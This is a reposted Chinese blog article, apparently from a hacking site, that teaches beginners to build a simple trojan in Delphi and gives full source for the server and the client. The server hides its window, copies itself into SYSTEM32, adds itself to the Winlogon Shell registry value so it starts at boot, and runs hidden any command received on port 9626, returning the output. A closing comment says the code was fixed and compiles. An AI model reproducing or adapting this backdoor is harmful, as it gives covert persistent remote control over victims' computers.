[转载]DELPHI下打造自己的简单木马
<P><SPAN style="FONT-SIZE: 9pt">文章作者：lanyus</SPAN></P><P><SPAN style="FONT-SIZE: 9pt">DELPHI下打造自己的简单木马 <BR>今天晚上无聊写着玩的，如果你是高手就别看了，免得我丢人。本文章只适合初学DELPHI小菜。<BR><BR>刚学电脑时很喜欢网络安全，看着高手们写的一个又一个攻击工具，自己也总想努力去学好编程去写属于自己的程序。学DELPHI快一年了，感觉什么都没学到，惭愧啊。今晚突然想学着写木马，于是手忙脚乱的敲了点代码，超简单，愿自己能越写越好！！！<BR><BR>程序跟传统木马一样，分服务端和客户端。运行服务端后会复制自身到SYSTEM32目录下面，并在注册表添加一自动行启动项，打开本机9626端口开始等待接收客户端的数据。当接收到客户端数据时就当作CMD命令去执行，最后把回显传送回客户端。客户端很简单，跟服务端连接成功后，输入命令点执行，正常的话可以收到服务端的执行结果了。<BR><BR><IMG onmouseover="if(this.resized) this.style.cursor='hand';" onclick="if(this.resized) {window.open(this.src);}" src="http://www.xtnet.net.cn/Article/UploadFiles/200510/20051018095803540.jpg" onload="if(this.width>screen.width*0.7) {this.resized=true; this.width=screen.width*0.7; this.alt='Click here to open new window';}" border=0><BR><BR>源码如下：<BR><BR>////Server.pas//////////////<BR><BR>unit UtMain;<BR><BR>////////////////////////////////////<BR>//////////BY lanyus////////////////<BR>////////Email:greathjw@163.com////<BR>////////QQ:231221////////////////<BR>///部分代码从网上收集///////////<BR>////////////////////////////////<BR><BR>interface<BR><BR>uses<BR>Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,<BR>Dialogs, Registry, ScktComp, StdCtrls;<BR><BR>type<BR>TFmMain = class(TForm)<BR> SS: TServerSocket;<BR> Memo1: TMemo;<BR> procedure FormCreate(Sender: TObject);<BR> procedure SSAccept(Sender: TObject; Socket: TCustomWinSocket);<BR> procedure SSClientRead(Sender: TObject; Socket: TCustomWinSocket);<BR>private<BR> { Private declarations }<BR>public<BR> { Public declarations }<BR>end;<BR><BR>var<BR>FmMain: TFmMain;<BR>reg:TRegistry;<BR><BR>implementation<BR><BR>{<A href="http://hackbase.com/hacker/program/2005101814470.html#" target=_blank><U><FONT color=#800080>$</FONT></U></A>R *.dfm}<BR><BR>procedure TFmMain.FormCreate(Sender: TObject);<BR>var<BR>sysdir:array[0..50] of char;<BR>begin<BR>Application.ShowMainForm:=False;<BR>FmMain.Left:=-200; //运行不显示窗口<BR>reg:=TRegistry.Create;<BR>reg.RootKey:=HKEY_LOCAL_MACHINE;<BR>reg.OpenKey('SoftWare\Microsoft\Windows NT\CurrentVersion\Winlogon',true);<BR>if reg.ReadString('Shell')<> 'Explorer.exe Lysvr.exe' then<BR> reg.WriteString('Shell','Explorer.exe Lysvr.exe'); //建立开机启动项<BR>reg.Free;<BR>GetSystemDirectory(sysdir,50);<BR>if not FileExists(sysdir+'\Lysvr.exe') then<BR> copyfile(Pchar(Application.exeName),pchar(sysdir+'\Lysvr.exe'),true);<BR><BR>SS.Port:=9626;<BR>try<BR> SS.Active:=True;<BR>except<BR>end;<BR>end;<BR><BR>procedure TFmMain.SSAccept(Sender: TObject; Socket: TCustomWinSocket);<BR>begin<BR>Socket.SendText('连接成功'); //发现有连接时回传‘连接成功 ’<BR>end;<BR><BR>procedure TFmMain.SSClientRead(Sender: TObject; Socket: TCustomWinSocket);<BR>var<BR>RemoteCmd:string;<BR>hReadPipe,hWritePipe:THandle;<BR>si:STARTUPINFO;<BR>lsa:SECURITY_ATTRIBUTES;<BR>pi:PROCESS_INFORMATION;<BR>cchReadBuffer:DWORD;<BR>ph:PChar;<BR>fname:PChar;<BR>res:string;<BR>begin<BR>Memo1.Clear;<BR>remotecmd:=Socket.ReceiveText;<BR>fname:=allocmem(255);<BR>ph:=AllocMem(5000);<BR>lsa.nLength:=sizeof(SECURITY_ATTRIBUTES);<BR>lsa.lpSecurityDescriptor:=nil;<BR>lsa.bInheritHandle:=True;<BR>ifCreatePipe(hReadPipe,hWritePipe,@lsa,0)=falsethen<BR>begin<BR> socket.SendText('不能创建管道');<BR> exit;<BR>end;<BR>fillchar(si,sizeof(STARTUPINFO),0);<BR>si.cb:=sizeof(STARTUPINFO);<BR>si.dwFlags:=(STARTF_USESTDHANDLESorSTARTF_USESHOWWINDOW);<BR>si.wShowWindow:=SW_HIDE;<BR>si.hStdOutput:=hWritePipe;<BR>StrPCopy(fname,remotecmd);<BR>/////执行CMD命令////<BR>if CreateProcess(nil,fname,nil,nil,true,0,nil,nil,si,pi)=False then<BR>begin<BR> socket.SendText('不能创建进程');<BR> FreeMem(ph);<BR> FreeMem(fname);<BR> Exit;<BR>end;<BR>while(true)do<BR>begin<BR>ifnotPeekNamedPipe(hReadPipe,ph,1,@cchReadBuffer,nil,nil)thenbreak;<BR>ifcchReadBuffer<>0then<BR>begin<BR>ifReadFile(hReadPipe,ph^,4096,cchReadBuffer,nil)=falsethenbreak;<BR> ph[cchReadbuffer]:=chr(0);<BR> Memo1.Lines.Add(ph);<BR>end<BR>else<BR>if(WaitForSingleObject(pi.hProcess,0)=WAIT_OBJECT_0)thenbreak;<BR> Sleep(100);<BR>end;<BR>ph[cchReadBuffer]:=chr(0);<BR>Memo1.Lines.Add(ph); //memo接收回显<BR>CloseHandle(hReadPipe);<BR>CloseHandle(pi.hThread);<BR>CloseHandle(pi.hProcess);<BR>CloseHandle(hWritePipe);<BR>FreeMem(ph);<BR>FreeMem(fname);<BR>socket.SendText(Memo1.Text);///将回显发送回客户端<BR>end;<BR><BR>end.<BR><BR>///////////////////////////////////////////////////////////////////////////////////////////<BR><BR>//////客户端/////////////////////<BR><BR>unit UtMain;<BR><BR>////////////////////////////////////<BR>//////////BY lanyus////////////////<BR>////////Email:greathjw@163.com////<BR>////////QQ:231221////////////////<BR>////////////////////////////////<BR><BR>interface<BR><BR>uses<BR>Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,<BR>Dialogs, OleCtrls, SHDocVw, StdCtrls, IdBaseComponent, IdComponent,<BR>IdUDPBase, IdUDPServer, Buttons, TLHelp32, ScktComp;<BR><BR>type<BR>TFmMain = class(TForm)<BR> WebBrowser1: TWebBrowser;<BR> Label3: TLabel;<BR> Edit2: TEdit;<BR> Label4: TLabel;<BR> Edit3: TEdit;<BR> Button2: TButton;<BR> CS: TClientSocket;<BR> Edit4: TEdit;<BR> Label5: TLabel;<BR> Memo1: TMemo;<BR> BitBtn2: TBitBtn;<BR> procedure Button2Click(Sender: TObject);<BR> procedure CSRead(Sender: TObject; Socket: TCustomWinSocket);<BR> procedure BitBtn2Click(Sender: TObject);<BR>private<BR> { Private declarations }<BR>public<BR> { Public declarations }<BR>end;<BR><BR>var<BR>FmMain: TFmMain;<BR><BR>implementation<BR><BR>{<A href="http://hackbase.com/hacker/program/2005101814470.html#" target=_blank><U><FONT color=#800080>$</FONT></U></A>R *.dfm}<BR><BR>procedure TFmMain.Button2Click(Sender: TObject);<BR>begin<BR>CS.Host:=Edit2.Text;<BR>CS.Port:=StrToInt(Edit3.Text);<BR>CS.Open;<BR>end;<BR><BR>procedure TFmMain.CSRead(Sender: TObject; Socket: TCustomWinSocket);<BR>begin<BR>Memo1.Clear;<BR>Memo1.Lines.Add(Socket.ReceiveText);<BR>Memo1.Lines.Add('');<BR>end;<BR><BR>procedure TFmMain.BitBtn2Click(Sender: TObject);<BR>begin<BR>CS.Socket.SendText(edit4.Text);<BR>end;<BR><BR>end. </SPAN></P> 代码有几处错误
不过已经修改 调试通过了
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